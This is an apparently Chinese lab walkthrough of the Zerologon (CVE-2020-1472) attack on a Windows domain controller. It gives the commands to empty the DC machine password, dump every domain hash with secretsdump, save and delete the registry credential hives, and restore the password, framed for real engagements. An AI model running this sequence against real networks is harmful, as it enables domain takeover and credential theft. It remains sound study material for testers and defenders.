域内提权之CVE-2020-1472复现打域控

简介 #

CVE-2020-1472 是⼀个 windows 域控中严重的远程权限提升漏洞,攻击者通过 NetLogon,建⽴与域控间易受攻击的安全通道时,可利⽤此漏洞获取域管访问权限(将域控中保存在AD中的管理员password设置为空);其漏洞原理是发⽣在 RPC 认证过程的过程中,由于错误的使⽤了 AES-CFB8 加密所导致漏洞成因,该漏洞适⽤于 Win2008 后的所有版本

利用场景:获取了一个加入了域的计算机权限,在域普通账号的情况下,将域管密码置空,导出域管hash,然后进行连接

ps:在实战环境中,由于会把域控机器的账户和密码清空,所以有可能会导致域内出问题,可能导致某些服务⽆法正常运⾏,严重会造成脱域等情况,请谨慎利⽤。

漏洞检测 #

环境:

  • win2012(192.168.10.2) 域控,开启了防火墙
  • win7(192.168.10.5),域成员

下载poc:https://github.com/SecuraBV/CVE-2020-1472

1. 获取域控主机名

net group "domain controllers" /domain

获取域控主机名为DC$

2. poc检测域控是否存在漏洞

python zerologon_tester.py 域控主机名 域控ip

返回 Success,说明漏洞很可能存在!

漏洞攻击 #

1. 置空DC的密码

exp:https://github.com/dirkjanm/CVE-2020-1472

python3 cve-2020-1472-exploit.py 域控主机名 域控ip

此时如果机器重启则很可能起不来,会出问题

2. secretsdum.py导出域内所有用户的凭证

下载:secretsdump.py,因为置空了密码,所以这里无需密码就能导出hash

python3 secretsdump.py 域名/域控主机名@域控ip -no-pass

域控内所有账户的hash都导出来了,包括本地用户和域用户

3. 使用wmiexec.py远程登录

获取了域控的hash,可以进行远程登陆

恢复域控原始hash #

1. 导出 sam system 等⽂件到本地,获取域控机器上本地保存之前的 hash 值⽤于恢复,不然就脱域了

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save

然后将那三个文件下载到本地,但是我这里直接使用这条命令没有下载下来,所以假设下载下来了

2. 下载完后删除文件

del /f system.save
del /f sam.save
del /f security.save

3.  之后通过 sam.save、security.save、system.save 这些⽂件获得原来域控机器上的 Ntlm Hash 值,⽤于恢复密码

python secretsdump.py -sam sam.save -system system.save -security security.save
LOCAL

4.  通过拿到 $MACHINE.ACC: 的值,然后进⾏恢复

$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:20e766e7ffc7299c0c0c430ab318cf4c

脚本下载:https://github.com/risksense/zerologon/blob/master/reinstall_original_pw.py

python reinstall_original_pw.py 域控机器名 域控ip $MACHINE.ACC后半部分的值

python reinstall_original_pw.py DC$ 192.168.10.2 20e766e7ffc7299c0c0c430ab318cf4c

ps: 这里域控机器名不能加$,显示了success也不一定成功,需要用脚本验证一下

5.  验证密码是否恢复成功

再使用开始的secretsdum.py导出域内所有用户的凭证,可见使用空密码去获取域内的所有用户的凭证已经不行了

这个时候才是真正恢复成功!大家在实战的时候一定要在本地多次复现!别在实战中重置了域控的密码为空,结果你不会还原导致目标脱域了,你就lliang了!